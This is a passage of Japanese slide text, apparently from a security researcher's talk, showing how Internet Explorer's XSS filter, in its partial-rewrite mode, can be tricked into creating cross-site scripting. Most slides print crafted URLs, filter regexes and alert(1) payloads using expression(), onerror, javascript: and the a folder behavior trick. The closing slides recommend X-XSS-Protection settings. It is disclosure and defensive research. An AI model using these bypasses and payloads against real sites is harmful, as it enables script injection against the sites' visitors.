  37. 37. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
  38. 38. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
  39. 39. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
  40. 40. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
  41. 41. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
  42. 42. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
  43. 43. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1))
  44. 44. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""style="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1)) Matched!
  45. 45. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) ... <style> body{background:gold} </style> </head> <body> <input name="q" value=""st#le="x:expression(alert(1))"> ... URL: ?q⁼"style="x:expression(alert(1)) 適切に遮断!
  46. 46. 今度はフィルターをだます <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> URL: ?q="<> XSSもなし
  47. 47. <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> URL: ?q="<> この辺に注目
  48. 48. <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
  49. 49. <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
  50. 50. <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
  51. 51. <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
  52. 52. <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
  53. 53. <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?))
  54. 54. <style> body{background:gold} </style> </head> <body> <input name="q" value="&quot;&lt;&gt;"> </body> </html> [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) おお?!
  55. 55. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ? URL側でも あわせていく
  56. 56. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ?/style
  57. 57. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ?/style++++++ ここは31バイト URL中では+6個分
  58. 58. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ?/style++++++=++ (=は除いて) 9バイト、+2個分
  59. 59. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ?/style++++++=++=
  60. 60. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </style> </head> <body> <input name="q" value=""> URL: ?/style++++++=++= Matched!
  61. 61. [ /+t"'`]style[ /+t]*? =.*?([:=]|(&[#()[].]x?0*((58)|(3A)| (61)|(3D));?)).*?([(]|(&[#()[].]x? 0*((40)|(28)|(92)|(5C));?)) <style> body{background:gold} </st#le> </head> <body> <input name="q" value=""> URL: ?/style++++++=++= ?!
  62. 62. </st#le> What will happen?
  63. 63. <style> body{background:gold} </style> </head> <body> <input name="q" value=""> ... URL: ?/style++++++=++= 本来のstyle要素の範囲
  64. 64. <style> body{background:gold} </st#le> </head> <body> <input name="q" value=""> ... URL: ?/style++++++=++= 遮断後のstyle要素の 範囲
  65. 65. <style> body{background:gold} </st#le> </head> <body> <input name="q" value=" {}*{x:expression(alert(1))}"> URL: ?q=%0A{}*{x:expression(alert(1))}& /style++++++=++= こんなふうに かくと…
  66. 66. <style> body{background:gold} </st#le> </head> <body> <input name="q" value=" {}*{x:expression(alert(1))}"> URL: ?q=%0A{}*{x:expression(alert(1))}& /style++++++=++=
  67. 67. Nightmare: 2
  68. 68. javascript:リンクの遮断の正規表現 {(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))([t]|(&(([#()[].]x?0 *(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[].]x?0*((65)|( 41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;) |(newline;))))*(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&( ([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[ ].]x?0*((65)|(41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)| A|D);?)|(tab;)|(newline;))))*(s|(&[#()[].]x?0*((83)|(53)|(115)|(73) );?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))) )*(c|(&[#()[].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x?0 *(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[].]x?0*((82)|( 52)|(114)|(72));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab; )|(newline;))))*(i|(&[#()[].]x?0*((73)|(49)|(105)|(69));?))([t]|(& (([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[ ].]x?0*((80)|(50)|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13)|(10 )|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x?0*((84)|(54)|(116)|(7 4));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;) )))*(:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).}
  69. 69. みやすく (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* ~ 省略 ~ (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).
  70. 70. みやすく (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* ~ 省略 ~ (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). j があり、
  71. 71. みやすく (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* ~ 省略 ~ (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). タブまたは改行文字が0文字以上あり、
  72. 72. みやすく (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* ~ 省略 ~ (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). a があり、
  73. 73. みやすく (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* ~ 省略 ~ (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). タブまたは改行文字が0文字以上あり...
  74. 74. みやすく (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* ~ 省略 ~ (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). というのが javascript: のコロンまで続く
  75. 75. みやすく (j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* ~ 省略 ~ (t|(&[#()[].]x?0*((84)|(54)|(116)|(74));?)) ([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(new line;))))* (:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))). コロンのあとは任意の1文字
  76. 76. またフィルターをだます <script type="text/javascript">a=1</script> <script> var q="[USER_INPUT]"; </script> ユーザーが指定した文字列が格納されるとする (※話を簡単にするために、URLのパラメータ以外 から既に受け取った文字列を出力していると考える)
  77. 77. またフィルターをだます <script type="text/javascript">a=1</script> <script> var q="</script>""; </script> XSS対策も適切!
  78. 78. またフィルターをだます <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> こんな文字列が攻撃者により 指定されたとする
  79. 79. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: さらにこんなURLへ攻撃者により 誘導されたとする
  80. 80. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A:
  81. 81. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: 24バイト URL中で[0x0A] 4個分
  82. 82. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A:
  83. 83. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: 10バイト URL中で[0x0A] 2個分
  84. 84. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A:
  85. 85. <script type="text/javascript">a=1</script> <script> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: Matched!
  86. 86. <script type="text/javascript">a=1</script> <sc#ipt> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: ?!
  87. 87. <sc#ipt> What will happen?
  88. 88. <script type="text/javascript">a=1</script> <sc#ipt> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A: もはやscriptタグの中ではない!
  89. 89. <script type="text/javascript">a=1</script> <sc#ipt> var q=":<img src=x onerror=alert(1)>"; </script> URL: ?java%0A%0A%0A%0Ascript%0A%0A:
  90. 90. Nightmare: 3
  91. 91. <body> <script> var q="";abc.def="; </script> </body> URL: ?q=";abc.def= リテラルから抜ける文字 & プロパティアクセスからの代入 というような形で 正しいフィルター例(文字列リテラル)
  92. 92. <body> <script> var q="";abc#def="; </script> </body> URL: ?q=";abc.def= ドットの部分を書き換えて遮断 正しいフィルター例(文字列リテラル)
  93. 93. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= 文字列リテラル部の フィルターの正規表現
  94. 94. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <body> <script> var q="";abc.def="; </script> </body> URL: ?q=";abc.def= Matched!
  95. 95. またまたフィルターをだます <script src="//example.co.jp/test.js" type="text/javascript"> </script> 単に外部スクリプトをロード しているだけのコードがあるとする
  96. 96. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?
  97. 97. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"
  98. 98. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"
  99. 99. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"/
  100. 100. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"/++ 11バイト +2個分
  101. 101. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"/++.
  102. 102. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"/++.+++ 16バイト +3個分
  103. 103. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co.jp/test.js" type="text/javascript"> </script> URL: ?"/++.+++= Matched!
  104. 104. ["'][ ]* (([^a-z0-9~_:'" ])|(in)) .+?[.].+?= <script src="//example.co#jp/test.js" type="text/javascript"> </script> URL: ?"/++.+++= ?!
  105. 105. <script src="//example.co#jp/test.js" type="text/javascript"> </script> What will happen?
  106. 106. <script src="//example.co#jp/test.js" type="text/javascript"> </script> example.co.jp ではなく example.co のスクリプトをロード!
  107. 107. <script src="//example.co#jp/test.js" type="text/javascript"> </script>
  108. 108. ["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="../1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value="[USER_INPUT]"> URL: ?q=[USER_INPUT] CSSをロード & ユーザーの入力を 出力しているページ
  109. 109. ["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="../1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value="[USER_INPUT]"> URL: ?q=[USER_INPUT]&"+=+.++++= Matched!
  110. 110. ["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="#./1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value="[USER_INPUT]"> URL: ?q=[USER_INPUT]&"+=+.++++= ?!
  111. 111. <link rel="stylesheet" href="#./1.css"> What will happen?
  112. 112. ["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="#./1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value="[USER_INPUT]"> URL: ?q=[USER_INPUT]&"+=+.++++= 自分自身をCSSとして ロードすることになる
  113. 113. ["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="#./1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value=" {}*{x:expression(alert(1))}"> URL: ?q=%0A{}*{x:expression(alert(1))}&"+=+.++++= こうすると…
  114. 114. ["'][ ]*(([^a-z0-9~_:'" ])|(in)) .+?[.].+?= ... <link rel="stylesheet" href="#./1.css"> <link rel="stylesheet" href="../2.css"> </head> ... <input name="q" value=" {}*{x:expression(alert(1))}"> URL: ?q=%0A{}*{x:expression(alert(1))}&"+=+.++++=
  115. 115. Nightmare: 4
  116. 116. Bypass 1: expression() <p style=v:expression&bx28;alert&bx28;1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s: シンプルなXSSがあるとき、 ( と書くべきところを &bx28; と書く
  117. 117. Bypass 1: expression() <p style=v:expression&bx28;alert&bx28;1))>s: ここに何かいる! URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:
  118. 118. そう、vbs:とvbscript:も遮断対象 (v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(([# ()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(b| (&[#()[].]x?0*((66)|(42)|(98)|(62));?))([t]|(&(([#()[ ].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(&[# ()[].]x?0*((83)|(53)|(115)|(73));?))([t]|(&(([#()[]. ]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*((c|(&[#() [].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x? 0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[] .]x?0*((82)|(52)|(114)|(72));?))([t]|(&(([#()[].]x?0*( 9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&[#()[].]x ?0*((73)|(49)|(105)|(69));?))([t]|(&(([#()[].]x?0*(9|( 13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[].]x?0* ((80)|(50)|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13) |(10)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x?0*((8 4)|(54)|(116)|(74));?))([t]|(&(([#()[].]x?0*(9|(13)|(1 0)|A|D);?)|(tab;)|(newline;))))*)?(:|(&(([#()[].]x?0*(( 58)|(3A));?)|(colon;)))).
  119. 119. Bypass 1: expression() <p style=v:expression&bx28;alert&bx28;1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As: vbs:の部分に反応させるようURLを調整 遮断前
  120. 120. Bypass 1: expression() <p style=v:expression(alert&bx28;1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As: ((左カッコ)が作れた! 遮断後
  121. 121. Bypass 1: expression() <p style=v:expression(alert&bx28;1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As:&v%0 A%0A%0A%0Ab%0A%0A%0As: もういっちょ! 遮断前
  122. 122. Bypass 1: expression() <p style=v:expression(alert(1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As:&v%0 A%0A%0A%0Ab%0A%0A%0As: さてこれで… 遮断後
  123. 123. Bypass 1: expression() <p style=v:expression(alert(1))>s: URL: ?q=<p+style=v:expression%26bx28%3Balert%26b x28%3B1))>s:&v%0A%0Ab%0A%0A%0A%0A%0As:&v%0 A%0A%0A%0Ab%0A%0A%0As:
  124. 124. Bypass 2: <a folder> https://html5sec.org/#36 <a folder="javascript:alert(1)" style="behavior:url(#default#Anch orClick)">Click</a> 以下で javascript: へのリンク作成が可能 (要IE8以下のドキュメントモード) Thanks, Mario!:)
  125. 125. Bypass 2: <a folder> URL: ?q=<a+folder="jav%26bx41%3Bscript:alert(1)" +style="behavior:url%26bx28%3B%23default%23 AnchorClick)"s:>Click&v%0Ab%0As%0A:&v%0A%0 Ab%0A%0A%0A%0A%0As: <a folder="jav&bx41;script:alert(1)" style="behavior:url&bx28;#default#AnchorClic k)"s:>Click 遮断前
  126. 126. Bypass 2: <a folder> URL: ?q=<a+folder="jav%26bx41%3Bscript:alert(1)" +style="behavior:url%26bx28%3B%23default%23 AnchorClick)"s:>Click&v%0Ab%0As%0A:&v%0A%0 Ab%0A%0A%0A%0A%0As: <a folder="javAscript:alert(1)" style="behavior:url(#default#AnchorClic k)"s:>Click できあがったリンクをクリックすると… 遮断後
  127. 127. Bypass 2: <a folder> URL: ?q=<a+folder="jav%26bx41%3Bscript:alert(1)" +style="behavior:url%26bx28%3B%23default%23 AnchorClick)"s:>Click&v%0Ab%0As%0A:&v%0A%0 Ab%0A%0A%0A%0A%0As: <a folder="javAscript:alert(1)" style="behavior:url(#default#AnchorClic k)"s:>Click できあがったリンクをクリックすると… 遮断後
  128. 128. http://l0.cm/xxn/ 全ての手法を試せるページ 紹介しきれなかったものも含む
  129. 129. Overcome the Nightmare
  130. 130. X-XSS-Protectionヘッダ 値 効果 0 無効 1 有効 (部分的書き換え) 1;mode=block 有効 (表示の完全な停止) デフォルト XSS保護機能を制御できるレスポンスヘッダ
  131. 131. デフォルトが部分的書き換え 問題箇所以外ページを変化させないで遮断 開発者にとってありがたい話のようにみえる でもこの動作こそ ➡サイト管理者はどうすべき? 紹介した手法のような攻撃の可能性をもたらす
  132. 132. Y 慎重な彼らはどうしている?
  133. 133. HTTP/2.0 200 OK Date: Mon, 19 Oct 2015 22:32:06 GMT Content-Type: text/html; charset=UTF-8 Content-Encoding: gzip Server: gws X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN ...
  134. 134. HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html Date: Mon, 19 Oct 2015 22:40:37 GMT x-content-type-options: nosniff X-Frame-Options: DENY X-XSS-Protection: 0 ...
  135. 135. より安全を考えた選択 値 選択すべきサイト 0 基本的なXSSは対応している /誤検知をなくしたい 1 推奨しない (この手法の影響を受けるのもココ) 1;mode =block XSSがまだありそう /念のため保護も受けたい default X-XSS-Protection:0 か 1;mode=block
  136. 136. mode=blockなら安全? 直接スクリプト実行に繋がることはないはず フィルターの恩恵の方が大きいと僕は考える 遮断時の特徴を外から検出できれば ページ内容を推測できる可能性はありうる この可能性はゼロにはできないだろう 一方で
  137. 137. 何もつけない選択がしたい? なら、次のことをしてください! これができるなら そもそも普通のXSS脆弱性作りこまないだろ! ✔ XSSフィルターの遮断動作を全て把握 ✔ 部分的に書き換わっても安全に動作すること を全てのページで検証 ✔ 危険な部分は逐一コードを書き直して回避
  138. 138. 実のところ 意図的に誤検知を生じさせて、 特定の機能を動作させないよ うにすることも、場合によっ ては可能です。(略) XSSフィ ルタの作者が、この種の危険 性を認識しつつもXSSフィル タを導入したのか(あるいは そうではないのか)、ちょっ と興味があります。 ブラウザ側も危険性を認識した上で導入 以下は6年前の寺田さんとはせがわさんのやりとり T.Teradaの日記より http://d.hatena.ne.jp/teracc/2 0090622
  139. 139. 実のところ ブラウザ側も危険性を認識した上で導入 以下は6年前の寺田さんとはせがわさんのやりとり http://b.hatena.ne.jp/entry/14131603/comment/hasegawayosuke 中の人は "The answer is Yes. " だそうです。 はせがわさんのはて なブックマークの コメントより ➡慎重になるならヘッダをつけるべきなのは 今に始まったことではない!
  140. 140. さいごに まだ安全側に倒す余地はあるはず デフォルト動作が今のままで本当にいいのか 遮断の原理上、リスクはつきもの Web開発者はその可能性を知ってほしい デフォルト動作以外で制御することを強く推奨 XSSフィルターの改善には期待したい
  141. 141. ";alert#"Thanks!"#// @kinugawamasato masatokinugawa@gmail#com http://l0.cm/xxn/DEMO

×